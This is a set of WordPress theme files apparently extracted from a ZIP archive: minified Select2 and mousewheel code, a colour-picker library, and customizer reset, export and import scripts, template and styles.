t=this;this.$element.on("change.select2",function(){t.dataAdapter.current(function(e){t.trigger("selection:update",{data:e})})}),this.$element.on("focus.select2",function(e){t.trigger("focus",e)}),this._syncA=u.bind(this._syncAttributes,this),this._syncS=u.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var e=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=e?(this._observer=new e(function(e){t._syncA(),t._syncS(null,e)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",t._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",t._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",t._syncS,!1))},d.prototype._registerDataEvents=function(){var n=this;this.dataAdapter.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerSelectionEvents=function(){var n=this,i=["toggle","focus"];this.selection.on("toggle",function(){n.toggleDropdown()}),this.selection.on("focus",function(e){n.focus(e)}),this.selection.on("*",function(e,t){-1===o.inArray(e,i)&&n.trigger(e,t)})},d.prototype._registerDropdownEvents=function(){var n=this;this.dropdown.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerResultsEvents=function(){var n=this;this.results.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerEvents=function(){var n=this;this.on("open",function(){n.$container.addClass("select2-container--open")}),this.on("close",function(){n.$container.removeClass("select2-container--open")}),this.on("enable",function(){n.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){n.$container.addClass("select2-container--disabled")}),this.on("blur",function(){n.$container.removeClass("select2-container--focus")}),this.on("query",function(t){n.isOpen()||n.trigger("open",{}),this.dataAdapter.query(t,function(e){n.trigger("results:all",{data:e,query:t})})}),this.on("query:append",function(t){this.dataAdapter.query(t,function(e){n.trigger("results:append",{data:e,query:t})})}),this.on("keypress",function(e){var t=e.which;n.isOpen()?t===i.ESC||t===i.TAB||t===i.UP&&e.altKey?(n.close(e),e.preventDefault()):t===i.ENTER?(n.trigger("results:select",{}),e.preventDefault()):t===i.SPACE&&e.ctrlKey?(n.trigger("results:toggle",{}),e.preventDefault()):t===i.UP?(n.trigger("results:previous",{}),e.preventDefault()):t===i.DOWN&&(n.trigger("results:next",{}),e.preventDefault()):(t===i.ENTER||t===i.SPACE||t===i.DOWN&&e.altKey)&&(n.open(),e.preventDefault())})},d.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.isDisabled()?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},d.prototype._isChangeMutation=function(e,t){var n=!1,i=this;if(!e||!e.target||"OPTION"===e.target.nodeName||"OPTGROUP"===e.target.nodeName){if(t)if(t.addedNodes&&0<t.addedNodes.length)for(var r=0;r<t.addedNodes.length;r++){t.addedNodes[r].selected&&(n=!0)}else t.removedNodes&&0<t.removedNodes.length?n=!0:o.isArray(t)&&o.each(t,function(e,t){if(i._isChangeMutation(e,t))return!(n=!0)});else n=!0;return n}},d.prototype._syncSubtree=function(e,t){var n=this._isChangeMutation(e,t),i=this;n&&this.dataAdapter.current(function(e){i.trigger("selection:update",{data:e})})},d.prototype.trigger=function(e,t){var n=d.__super__.trigger,i={open:"opening",close:"closing",select:"selecting",unselect:"unselecting",clear:"clearing"};if(void 0===t&&(t={}),e in i){var r=i[e],o={prevented:!1,name:e,args:t};if(n.call(this,r,o),o.prevented)return void(t.prevented=!0)}n.call(this,e,t)},d.prototype.toggleDropdown=function(){this.isDisabled()||(this.isOpen()?this.close():this.open())},d.prototype.open=function(){this.isOpen()||this.isDisabled()||this.trigger("query",{})},d.prototype.close=function(e){this.isOpen()&&this.trigger("close",{originalEvent:e})},d.prototype.isEnabled=function(){return!this.isDisabled()},d.prototype.isDisabled=function(){return this.options.get("disabled")},d.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},d.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},d.prototype.focus=function(e){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},d.prototype.enable=function(e){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=e&&0!==e.length||(e=[!0]);var t=!e[0];this.$element.prop("disabled",t)},d.prototype.data=function(){this.options.get("debug")&&0<arguments.length&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var t=[];return this.dataAdapter.current(function(e){t=e}),t},d.prototype.val=function(e){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==e||0===e.length)return this.$element.val();var t=e[0];o.isArray(t)&&(t=o.map(t,function(e){return e.toString()})),this.$element.val(t).trigger("input").trigger("change")},d.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",u.GetData(this.$element[0],"old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),u.RemoveData(this.$element[0]),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},d.prototype.render=function(){var e=o('<span class="select2 select2-container"><span class="selection"></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>');return e.attr("dir",this.options.get("dir")),this.$container=e,this.$container.addClass("select2-container--"+this.options.get("theme")),u.StoreData(e[0],"element",this.$element),e},d}),e.define("select2/compat/utils",["jquery"],function(s){return{syncCssClasses:function(e,t,n){var i,r,o=[];(i=s.trim(e.attr("class")))&&s((i=""+i).split(/\s+/)).each(function(){0===this.indexOf("select2-")&&o.push(this)}),(i=s.trim(t.attr("class")))&&s((i=""+i).split(/\s+/)).each(function(){0!==this.indexOf("select2-")&&null!=(r=n(this))&&o.push(r)}),e.attr("class",o.join(" "))}}}),e.define("select2/compat/containerCss",["jquery","./utils"],function(s,a){function l(e){return null}function e(){}return e.prototype.render=function(e){var t=e.call(this),n=this.options.get("containerCssClass")||"";s.isFunction(n)&&(n=n(this.$element));var i=this.options.get("adaptContainerCssClass");if(i=i||l,-1!==n.indexOf(":all:")){n=n.replace(":all:","");var r=i;i=function(e){var t=r(e);return null!=t?t+" "+e:e}}var o=this.options.get("containerCss")||{};return s.isFunction(o)&&(o=o(this.$element)),a.syncCssClasses(t,this.$element,i),t.css(o),t.addClass(n),t},e}),e.define("select2/compat/dropdownCss",["jquery","./utils"],function(s,a){function l(e){return null}function e(){}return e.prototype.render=function(e){var t=e.call(this),n=this.options.get("dropdownCssClass")||"";s.isFunction(n)&&(n=n(this.$element));var i=this.options.get("adaptDropdownCssClass");if(i=i||l,-1!==n.indexOf(":all:")){n=n.replace(":all:","");var r=i;i=function(e){var t=r(e);return null!=t?t+" "+e:e}}var o=this.options.get("dropdownCss")||{};return s.isFunction(o)&&(o=o(this.$element)),a.syncCssClasses(t,this.$element,i),t.css(o),t.addClass(n),t},e}),e.define("select2/compat/initSelection",["jquery"],function(i){function e(e,t,n){n.get("debug")&&window.console&&console.warn&&console.warn("Select2: The `initSelection` option has been deprecated in favor of a custom data adapter that overrides the `current` method. This method is now called multiple times instead of a single time when the instance is initialized. Support will be removed for the `initSelection` option in future versions of Select2"),this.initSelection=n.get("initSelection"),this._isInitialized=!1,e.call(this,t,n)}return e.prototype.current=function(e,t){var n=this;this._isInitialized?e.call(this,t):this.initSelection.call(null,this.$element,function(e){n._isInitialized=!0,i.isArray(e)||(e=[e]),t(e)})},e}),e.define("select2/compat/inputData",["jquery","../utils"],function(s,i){function e(e,t,n){this._currentData=[],this._valueSeparator=n.get("valueSeparator")||",","hidden"===t.prop("type")&&n.get("debug")&&console&&console.warn&&console.warn("Select2: Using a hidden input with Select2 is no longer supported and may stop working in the future. It is recommended to use a `<select>` element instead."),e.call(this,t,n)}return e.prototype.current=function(e,t){function i(e,t){var n=[];return e.selected||-1!==s.inArray(e.id,t)?(e.selected=!0,n.push(e)):e.selected=!1,e.children&&n.push.apply(n,i(e.children,t)),n}for(var n=[],r=0;r<this._currentData.length;r++){var o=this._currentData[r];n.push.apply(n,i(o,this.$element.val().split(this._valueSeparator)))}t(n)},e.prototype.select=function(e,t){if(this.options.get("multiple")){var n=this.$element.val();n+=this._valueSeparator+t.id,this.$element.val(n),this.$element.trigger("input").trigger("change")}else this.current(function(e){s.map(e,function(e){e.selected=!1})}),this.$element.val(t.id),this.$element.trigger("input").trigger("change")},e.prototype.unselect=function(e,r){var o=this;r.selected=!1,this.current(function(e){for(var t=[],n=0;n<e.length;n++){var i=e[n];r.id!=i.id&&t.push(i.id)}o.$element.val(t.join(o._valueSeparator)),o.$element.trigger("input").trigger("change")})},e.prototype.query=function(e,t,n){for(var i=[],r=0;r<this._currentData.length;r++){var o=this._currentData[r],s=this.matches(t,o);null!==s&&i.push(s)}n({results:i})},e.prototype.addOptions=function(e,t){var n=s.map(t,function(e){return i.GetData(e[0],"data")});this._currentData.push.apply(this._currentData,n)},e}),e.define("select2/compat/matcher",["jquery"],function(s){return function(o){return function(e,t){var n=s.extend(!0,{},t);if(null==e.term||""===s.trim(e.term))return n;if(t.children){for(var i=t.children.length-1;0<=i;i--){var r=t.children[i];o(e.term,r.text,r)||n.children.splice(i,1)}if(0<n.children.length)return n}return o(e.term,t.text,t)?n:null}}}),e.define("select2/compat/query",[],function(){function e(e,t,n){n.get("debug")&&window.console&&console.warn&&console.warn("Select2: The `query` option has been deprecated in favor of a custom data adapter that overrides the `query` method. Support will be removed for the `query` option in future versions of Select2."),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.callback=n,this.options.get("query").call(null,t)},e}),e.define("select2/dropdown/attachContainer",[],function(){function e(e,t,n){e.call(this,t,n)}return e.prototype.position=function(e,t,n){n.find(".dropdown-wrapper").append(t),t.addClass("select2-dropdown--below"),n.addClass("select2-container--below")},e}),e.define("select2/dropdown/stopPropagation",[],function(){function e(){}return e.prototype.bind=function(e,t,n){e.call(this,t,n);this.$dropdown.on(["blur","change","click","dblclick","focus","focusin","focusout","input","keydown","keyup","keypress","mousedown","mouseenter","mouseleave","mousemove","mouseover","mouseup","search","touchend","touchstart"].join(" "),function(e){e.stopPropagation()})},e}),e.define("select2/selection/stopPropagation",[],function(){function e(){}return e.prototype.bind=function(e,t,n){e.call(this,t,n);this.$selection.on(["blur","change","click","dblclick","focus","focusin","focusout","input","keydown","keyup","keypress","mousedown","mouseenter","mouseleave","mousemove","mouseover","mouseup","search","touchend","touchstart"].join(" "),function(e){e.stopPropagation()})},e}),l=function(p){var h,f,e=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],t="onwheel"in document||9<=document.documentMode?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],g=Array.prototype.slice;if(p.event.fixHooks)for(var n=e.length;n;)p.event.fixHooks[e[--n]]=p.event.mouseHooks;var m=p.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener)for(var e=t.length;e;)this.addEventListener(t[--e],i,!1);else this.onmousewheel=i;p.data(this,"mousewheel-line-height",m.getLineHeight(this)),p.data(this,"mousewheel-page-height",m.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var e=t.length;e;)this.removeEventListener(t[--e],i,!1);else this.onmousewheel=null;p.removeData(this,"mousewheel-line-height"),p.removeData(this,"mousewheel-page-height")},getLineHeight:function(e){var t=p(e),n=t["offsetParent"in p.fn?"offsetParent":"parent"]();return n.length||(n=p("body")),parseInt(n.css("fontSize"),10)||parseInt(t.css("fontSize"),10)||16},getPageHeight:function(e){return p(e).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};function i(e){var t,n=e||window.event,i=g.call(arguments,1),r=0,o=0,s=0,a=0,l=0;if((e=p.event.fix(n)).type="mousewheel","detail"in n&&(s=-1*n.detail),"wheelDelta"in n&&(s=n.wheelDelta),"wheelDeltaY"in n&&(s=n.wheelDeltaY),"wheelDeltaX"in n&&(o=-1*n.wheelDeltaX),"axis"in n&&n.axis===n.HORIZONTAL_AXIS&&(o=-1*s,s=0),r=0===s?o:s,"deltaY"in n&&(r=s=-1*n.deltaY),"deltaX"in n&&(o=n.deltaX,0===s&&(r=-1*o)),0!==s||0!==o){if(1===n.deltaMode){var c=p.data(this,"mousewheel-line-height");r*=c,s*=c,o*=c}else if(2===n.deltaMode){var u=p.data(this,"mousewheel-page-height");r*=u,s*=u,o*=u}if(t=Math.max(Math.abs(s),Math.abs(o)),(!f||t<f)&&y(n,f=t)&&(f/=40),y(n,t)&&(r/=40,o/=40,s/=40),r=Math[1<=r?"floor":"ceil"](r/f),o=Math[1<=o?"floor":"ceil"](o/f),s=Math[1<=s?"floor":"ceil"](s/f),m.settings.normalizeOffset&&this.getBoundingClientRect){var d=this.getBoundingClientRect();a=e.clientX-d.left,l=e.clientY-d.top}return e.deltaX=o,e.deltaY=s,e.deltaFactor=f,e.offsetX=a,e.offsetY=l,e.deltaMode=0,i.unshift(e,r,o,s),h&&clearTimeout(h),h=setTimeout(v,200),(p.event.dispatch||p.event.handle).apply(this,i)}}function v(){f=null}function y(e,t){return m.settings.adjustOldDeltas&&"mousewheel"===e.type&&t%120==0}p.fn.extend({mousewheel:function(e){return e?this.bind("mousewheel",e):this.trigger("mousewheel")},unmousewheel:function(e){return this.unbind("mousewheel",e)}})},"function"==typeof e.define&&e.define.amd?e.define("jquery-mousewheel",["jquery"],l):"object"==typeof exports?module.exports=l:l(d),e.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults","./select2/utils"],function(r,e,o,t,s){if(null==r.fn.select2){var a=["open","close","destroy"];r.fn.select2=function(t){if("object"==typeof(t=t||{}))return this.each(function(){var e=r.extend(!0,{},t);new o(r(this),e)}),this;if("string"!=typeof t)throw new Error("Invalid arguments for Select2: "+t);var n,i=Array.prototype.slice.call(arguments,1);return this.each(function(){var e=s.GetData(this,"select2");null==e&&window.console&&console.error&&console.error("The select2('"+t+"') method was called on an element that is not using Select2."),n=e[t].apply(e,i)}),-1<r.inArray(t,a)?this:n}}return null==r.fn.select2.defaults&&(r.fn.select2.defaults=t),o}),{define:e.define,require:e.require}}(),t=e.require("jquery.select2");return d.fn.select2.amd=e,t});PK     0w\!U-      customizer/js/button.jsnu [        jQuery( document ).ready( function( $ ) {
	$( '[data-type="render_separate_css"]' ).on( 'click', function( e ) {
		var $this = $( this ),
			$nonce = $this.data( 'nonce' ),
			$ajaxurl = $this.data( 'ajaxurl' );
		e.preventDefault();

		$this.removeClass( 'success' ).addClass( 'loading' );
		
		$.ajax({
			type : "post",
			dataType : "json",
			url : $ajaxurl,
			data : {
				action: "penci_render_separate_css_file",
				_nonce : $nonce,
			},
			success: function() {
				$this.removeClass( 'loading' ).addClass( 'success' );
			},
			 error: function( jqXHR, textStatus, errorThrown ){
				console.log( 'The following error occured: ' + textStatus, errorThrown );
			}
		});
	} );
} );
PK     0w\ g  g  *  customizer/js/wp-color-picker-alpha-min.jsnu [        /**!
 * wp-color-picker-alpha
 *
 * Overwrite Automattic Iris for enabled Alpha Channel in wpColorPicker
 * Only run in input and is defined data alpha in true
 *
 * Version: 2.1.4
 * https://github.com/kallookoo/wp-color-picker-alpha
 * Licensed under the GPLv2 license or later.
 */
!function(t){if(!t.wp.wpColorPicker.prototype._hasAlpha){var o="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==",r='<div class="wp-picker-holder" />',e='<div class="wp-picker-container" />',a='<input type="button" class="button button-small" />',i='<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>',l=!1;if("undefined"!=typeof wpColorPickerL10n){(l=void 0!==wpColorPickerL10n.current)&&(i='<a tabindex="0" class="wp-color-result" />');var n=wpColorPickerL10n.defaultLabel,s=wpColorPickerL10n.pick,p=wpColorPickerL10n.defaultString,c=wpColorPickerL10n.defaultAriaLabel,d=wpColorPickerL10n.clear,g=wpColorPickerL10n.clearAriaLabel}else{var h=wp.i18n.__;n=h("Color value"),s=h("Select Color"),p=h("Default"),c=h("Select default color"),d=h("Clear"),g=h("Clear color")}Color.fn.toString=function(){if(this._alpha<1)return this.toCSS("rgba",this._alpha).replace(/\s+/g,"");var t=parseInt(this._color,10).toString(16);return this.error?"":(t.length<6&&(t=("00000"+t).substr(-6)),"#"+t)},t.widget("wp.wpColorPicker",t.wp.wpColorPicker,{_hasAlpha:!0,_create:function(){if(t.support.iris){var h=this,u=h.element;if(t.extend(h.options,u.data()),"hue"===h.options.type)return h._createHueOnly();h.close=t.proxy(h.close,h),h.initialValue=u.val(),u.addClass("wp-color-picker"),l?(u.hide().wrap(e),h.wrap=u.parent(),h.toggler=t(i).insertBefore(u).css({backgroundColor:h.initialValue}).attr("title",s).attr("data-current",wpColorPickerL10n.current),h.pickerContainer=t(r).insertAfter(u),h.button=t(a).addClass("hidden")):(u.parent("label").length||(u.wrap("<label></label>"),h.wrappingLabelText=t('<span class="screen-reader-text"></span>').insertBefore(u).text(n)),h.wrappingLabel=u.parent(),h.wrappingLabel.wrap(e),h.wrap=h.wrappingLabel.parent(),h.toggler=t(i).insertBefore(h.wrappingLabel).css({backgroundColor:h.initialValue}),h.toggler.find(".wp-color-result-text").text(s),h.pickerContainer=t(r).insertAfter(h.wrappingLabel),h.button=t(a)),h.options.defaultColor?(h.button.addClass("wp-picker-default").val(p),l||h.button.attr("aria-label",c)):(h.button.addClass("wp-picker-clear").val(d),l||h.button.attr("aria-label",g)),l?u.wrap('<span class="wp-picker-input-wrap" />').after(h.button):(h.wrappingLabel.wrap('<span class="wp-picker-input-wrap hidden" />').after(h.button),h.inputWrapper=u.closest(".wp-picker-input-wrap")),u.iris({target:h.pickerContainer,hide:h.options.hide,width:h.options.width,mode:h.options.mode,palettes:h.options.palettes,change:function(r,e){h.options.alpha?(h.toggler.css({"background-image":"url("+o+")"}),l?h.toggler.html('<span class="color-alpha" />'):(h.toggler.css({position:"relative"}),0==h.toggler.find("span.color-alpha").length&&h.toggler.append('<span class="color-alpha" />')),h.toggler.find("span.color-alpha").css({width:"30px",height:"100%",position:"absolute",top:0,left:0,"border-top-left-radius":"2px","border-bottom-left-radius":"2px",background:e.color.toString()})):h.toggler.css({backgroundColor:e.color.toString()}),t.isFunction(h.options.change)&&h.options.change.call(this,r,e)}}),u.val(h.initialValue),h._addListeners(),h.options.hide||h.toggler.click()}},_addListeners:function(){var o=this;o.wrap.on("click.wpcolorpicker",function(t){t.stopPropagation()}),o.toggler.click(function(){o.toggler.hasClass("wp-picker-open")?o.close():o.open()}),o.element.on("change",function(r){(""===t(this).val()||o.element.hasClass("iris-error"))&&(o.options.alpha?(l&&o.toggler.removeAttr("style"),o.toggler.find("span.color-alpha").css("backgroundColor","")):o.toggler.css("backgroundColor",""),t.isFunction(o.options.clear)&&o.options.clear.call(this,r))}),o.button.on("click",function(r){t(this).hasClass("wp-picker-clear")?(o.element.val(""),o.options.alpha?(l&&o.toggler.removeAttr("style"),o.toggler.find("span.color-alpha").css("backgroundColor","")):o.toggler.css("backgroundColor",""),t.isFunction(o.options.clear)&&o.options.clear.call(this,r),o.element.trigger("change")):t(this).hasClass("wp-picker-default")&&o.element.val(o.options.defaultColor).change()})}}),t.widget("a8c.iris",t.a8c.iris,{_create:function(){if(this._super(),this.options.alpha=this.element.data("alpha")||!1,this.element.is(":input")||(this.options.alpha=!1),void 0!==this.options.alpha&&this.options.alpha){var o=this,r=o.element,e=t('<div class="iris-strip iris-slider iris-alpha-slider"><div class="iris-slider-offset iris-slider-offset-alpha"></div></div>').appendTo(o.picker.find(".iris-picker-inner")),a=e.find(".iris-slider-offset-alpha"),i={aContainer:e,aSlider:a};void 0!==r.data("custom-width")?o.options.customWidth=parseInt(r.data("custom-width"))||0:o.options.customWidth=100,o.options.defaultWidth=r.width(),(o._color._alpha<1||-1!=o._color.toString().indexOf("rgb"))&&r.width(parseInt(o.options.defaultWidth+o.options.customWidth)),t.each(i,function(t,r){o.controls[t]=r}),o.controls.square.css({"margin-right":"0"});var l=o.picker.width()-o.controls.square.width()-20,n=l/6,s=l/2-n;t.each(["aContainer","strip"],function(t,r){o.controls[r].width(s).css({"margin-left":n+"px"})}),o._initControls(),o._change()}},_initControls:function(){if(this._super(),this.options.alpha){var t=this;t.controls.aSlider.slider({orientation:"vertical",min:0,max:100,step:1,value:parseInt(100*t._color._alpha),slide:function(o,r){t._color._alpha=parseFloat(r.value/100),t._change.apply(t,arguments)}})}},_change:function(){this._super();var t=this,r=t.element;if(this.options.alpha){var e=t.controls,a=parseInt(100*t._color._alpha),i=t._color.toRgb(),l=["rgb("+i.r+","+i.g+","+i.b+") 0%","rgba("+i.r+","+i.g+","+i.b+", 0) 100%"],n=t.options.defaultWidth,s=t.options.customWidth,p=t.picker.closest(".wp-picker-container").find(".wp-color-result");e.aContainer.css({background:"linear-gradient(to bottom, "+l.join(", ")+"), url("+o+")"}),p.hasClass("wp-picker-open")&&(e.aSlider.slider("value",a),t._color._alpha<1?(e.strip.attr("style",e.strip.attr("style").replace(/rgba\(([0-9]+,)(\s+)?([0-9]+,)(\s+)?([0-9]+)(,(\s+)?[0-9\.]+)\)/g,"rgb($1$3$5)")),r.width(parseInt(n+s))):r.width(n))}(r.data("reset-alpha")||!1)&&t.picker.find(".iris-palette-container").on("click.palette",".iris-palette",function(){t._color._alpha=1,t.active="external",t._change()}),r.trigger("change")},_addInputListeners:function(t){var o=this,r=function(r){var e=new Color(t.val()),a=t.val();t.removeClass("iris-error"),e.error?""!==a&&t.addClass("iris-error"):e.toString()!==o._color.toString()&&("keyup"===r.type&&a.match(/^[0-9a-fA-F]{3}$/)||o._setOption("color",e.toString()))};t.on("change",r).on("keyup",o._debounce(r,100)),o.options.hide&&t.on("focus",function(){o.show()})}})}}(jQuery),jQuery(document).ready(function(t){t(".color-picker").wpColorPicker()});PK     0w\p?    5  customizer/customizer-tools/templates/import-form.phpnu [        <?php
/**
 * Template for displaying customizer import form.
 *
 * @package soledad
 */

defined( 'ABSPATH' ) || die( "Can't access directly" );

ob_start();
?>

<form action="" method="post" class="customizer-import-form" enctype="multipart/form-data">
	<input type="hidden" name="action" value="customizer_import">
	<?php wp_nonce_field( 'customizer-import', 'nonce' ); ?>
	<div class="fields">
		<div class="field left-field">
			<label class="label" for="customizer_import_file">
				<?php _e( 'Select JSON file to import.', 'soledad' ); ?>
			</label>
			<div class="control">
				<input type="file" id="customizer_import_file" name="customizer_import_file" class="customizer-import-file" accept="application/json">
			</div>
		</div>
		<div class="field right-field">
			<div class="control">
				<button class="button button-primary"><?php _e( 'Import', 'soledad' ); ?></button>
			</div>
		</div>
	</div>
	<span class="close dashicons dashicons-no-alt"></span>
</form>

<?php
$customizer_import_form = ob_get_clean();
PK     0w\7G]    9  customizer/customizer-tools/assets/js/customizer-reset.jsnu [        /**
 * Setting up customizer reset.
 *
 * Used global objects:
 * - wp
 * - ajaxurl
 * - jQuery
 * - customizerResetObj
 */
(function ($) {
	/**
	 * Setup the flow.
	 */
	function init() {
		setupOutput();
	}

	/**
	 * Setup output:
	 * - reset button
	 * - export & import buttons
	 * - import form
	 */
	function setupOutput() {

		$class_name = 'customizer-reset-area customizer-reset-footer';
		if ( customizerResetObj.has_previous ) {
			$class_name = 'customizer-reset-area customizer-reset-footer has-previous-btn';
		}

		var $buttonsWrapper = $('<div class="'+ $class_name +'"></div>');

		var $restoreButton = $(
			'<button name="customizer-restore" class="button-primary customizer-restore-button"><i class="dashicons dashicons-undo"></i>' + customizerResetObj.buttons.restore.text + '</button>'
		);

		var $resetButton = $(
			'<button name="customizer-reset" class="button-primary customizer-reset-button"><i class="dashicons dashicons-trash"></i>' + customizerResetObj.buttons.reset.text + '</button>'
		);

		var $exportButton = $(
			'<a href="' + customizerResetObj.customizerUrl + '?action=customizer_export&nonce=' + customizerResetObj.nonces.export + '" class="button-secondary customizer-export-import customizer-export-link"><i class="dashicons dashicons-download"></i><span class="customizer-export-import-hint">' + customizerResetObj.buttons.export.text + '</span></a>'
		);

		var $importButton = $(
			'<a href="" class="button-secondary customizer-export-import customizer-import-trigger"><i class="dashicons dashicons-upload"></i><span class="customizer-export-import-hint">' + customizerResetObj.buttons.import.text + '</span></a>'
		);

		$resetButton.on('click', resetCustomizer);
		$restoreButton.on('click', restoreCustomizer);
		$importButton.on('click', openImportForm);

		if ( customizerResetObj.has_previous ) {
			$buttonsWrapper.append($restoreButton);
		}

		$buttonsWrapper.append($resetButton);
		$buttonsWrapper.append($exportButton);
		$buttonsWrapper.append($importButton);

		$('#customize-footer-actions').prepend($buttonsWrapper);
		$('.customizer-reset-footer').append(customizerResetObj.importForm.templates);
		$('.customizer-import-form .close').on('click', closeImportForm);
		$('.customizer-import-form').on('submit', showImportWarning);
	}

	/**
	 * Reset customizer.
	 * 
	 * @param Event e Event object.
	 */
	function resetCustomizer(e) {
		e.preventDefault();

		if (!confirm(customizerResetObj.dialogs.resetWarning)) return;

		this.disabled = true;

		$.ajax({
			type: 'post',
			url: ajaxurl,
			data: {
				wp_customize: 'on',
				action: 'customizer_reset',
				nonce: customizerResetObj.nonces.reset
			}
		}).done(function (r) {
			if (!r || !r.success) return;

			wp.customize.state('saved').set(true);
			location.reload();
		}).always(function () {
			this.disabled = false;
		});
	}

	/**
	 * Restore customizer.
	 * 
	 * @param Event e Event object.
	 */
	function restoreCustomizer(e) {
		e.preventDefault();

		if (!confirm(customizerResetObj.dialogs.restoreWarning)) return;

		this.disabled = true;

		$.ajax({
			type: 'post',
			url: ajaxurl,
			data: {
				wp_customize: 'on',
				action: 'customizer_restore',
				nonce: customizerResetObj.nonces.reset
			}
		}).done(function (r) {
			if (!r || !r.success) return;

			wp.customize.state('saved').set(true);
			location.reload();
		}).always(function () {
			this.disabled = false;
		});
	}

	function openImportForm(e) {
		e.preventDefault();
		$('.customizer-import-form').addClass('is-expanded');
	}

	function closeImportForm(e) {
		e.preventDefault();
		$('.customizer-import-form').removeClass('is-expanded');
	}

	function showImportWarning(e) {
		e.preventDefault();

		if (confirm(customizerResetObj.dialogs.importWarning)) this.submit();
	}

	// Start!
	init();

})(jQuery);
PK     0w\TnG  G  ;  customizer/customizer-tools/assets/css/customizer-reset.cssnu [        /* General */
.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content {
    bottom: 120px;
}
.expanded .wp-full-overlay-footer {
    height: 120px;
}
body.header-builder-open .expanded .wp-full-overlay-footer {
    height: 45px;
}
.customizer-reset-area,
.customizer-reset-area * {
    box-sizing: border-box;
    -webkit-box-sizing: border-box;
}
/* Panel */
.customizer-reset-footer {
    display: flex;
    align-items: center;
    justify-content: space-between;
    position: relative;
    padding-left: 10px;
    padding-right: 10px;
    height: 75px;
    background-color: #fff;
    border-bottom: 1px solid #ddd;
    flex-direction: row-reverse;
}
body.header-builder-open .customizer-reset-footer {
    display: none;
}
/* Button */
.customizer-reset-footer .customizer-reset-button,
.customizer-reset-footer .customizer-reset-button:hover {
    background-color: red;
    border-color: red;
}
.customizer-reset-footer i {
    display: inline-block;
    vertical-align: middle;
}
.customizer-reset-footer .customizer-restore-button,
.customizer-reset-footer .customizer-reset-button {
    padding: 5px 10px;
}
.customizer-reset-footer .customizer-reset-button:active {
    background-color: red;
    border-color: red;
}
#customize-controls .customizer-reset-footer .customizer-reset-button img {
    max-width: 14px;
    vertical-align: middle;
    margin-right: 10px;
    margin-top: -3px;
}
.customizer-reset-footer.has-previous-btn a,
.customizer-reset-footer.has-previous-btn button {
    font-size: 11px;
    padding-left: 5px;
    padding-right: 5px;
}
.customizer-reset-footer.has-previous-btn i,
.customizer-reset-footer.has-previous-btn i {
    font-size: 13px;
    line-height: 20px;
    width: 15px;
}
/* Icons */
.customizer-reset-footer .customizer-export-import {
    display: -webkit-box;
    display: -ms-flexbox;
    display: flex;
    align-items: center;
    justify-content: center;
    text-align: center;
    cursor: pointer;
    padding: 5px 10px;
    box-shadow: none;
}
#customize-controls .customizer-reset-footer .customizer-export-import img {
    max-width: 14px;
    opacity: 0.4;
}
#customize-controls .customizer-reset-footer .customizer-export-import:hover img {
    opacity: 0.8;
}
/* Import */
.customizer-import-form {
    padding: 10px;
    display: flex;
    align-items: center;
    position: absolute;
    left: 0;
    bottom: 0;
    padding: 0;
    width: 100%;
    height: 100%;
    max-height: 0;
    background-color: #fff;
    transition: all 0.5s;
    overflow: hidden;
}
.customizer-import-form.is-expanded {
    padding: 10px;
    max-height: 500px;
    transition: all 1s;
}
.customizer-import-form .close {
    position: absolute;
    right: 5px;
    top: 5px;
    display: block;
    width: 17px;
    height: 17px;
    line-height: 17px;
    font-size: 18px;
    text-align: center;
    color: #444;
    cursor: pointer;
}
.customizer-import-form .close:hover {
    color: #0073aa;
}
